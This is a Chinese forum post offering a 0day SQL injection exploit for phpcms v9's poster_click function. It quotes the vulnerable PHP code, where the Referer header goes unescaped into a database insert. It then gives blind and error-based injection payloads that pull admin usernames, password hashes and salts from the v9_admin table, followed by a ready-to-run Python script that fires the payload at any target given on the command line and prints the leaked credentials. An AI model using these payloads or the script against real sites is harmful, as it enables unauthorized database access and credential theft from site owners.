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标题:
phpcms post_click注入0day利用代码
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作者:
admin
时间:
2013-1-11 21:01
标题:
phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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问题函数\phpcms\modules\poster\index.php
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public function poster_click() {
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$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
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$r = $this->db->get_one(array('id'=>$id));
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if (!is_array($r) && empty($r)) return false;
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$ip_area = pc_base::load_sys_class('ip_area');
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$ip = ip();
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$area = $ip_area->get($ip);
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$username = param::get_cookie('username') ? param::get_cookie('username') : '';
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if($id) {
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$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
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$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
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}
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$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
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$setting = string2array($r['setting']);
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if (count($setting)==1) {
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$url = $setting['1']['linkurl'];
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} else {
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$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
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}
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header('Location: '.$url);
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}
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利用方式：
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1、可以采用盲注入的手法：
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referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
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通过返回页面，正常与否一个个猜解密码字段。
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2、代码是花开写的，随手附上了：
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1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
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此方法是爆错注入手法，原理自查。
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利用程序:
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#!/usr/bin/env python
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import httplib,sys,re
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def attack():
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print “Code by Pax.Mac Team conqu3r!”
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print “Welcome to our zone!!!”
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url=sys.argv[1]
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paths=sys.argv[2]
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conn = httplib.HTTPConnection(url)
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i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
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“Accept”: “text/plain”,
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“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
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conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
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r1 = conn.getresponse()
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datas=r1.read()
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datas=re.findall(r”Duplicate entry \’\w+’”, datas)
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print datas[0]
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conn.close()
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if __name__==”__main__”:
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if len(sys.argv)<3:
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print “Code by Pax.Mac Team conqu3r”
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print “Usgae:”
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print “ phpcmsattack.py
www.paxmac.org
/”
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print “ phpcmsataack.py
www.paxmac.org
/phpcmsv9/”
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sys.exit(1)
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attack()
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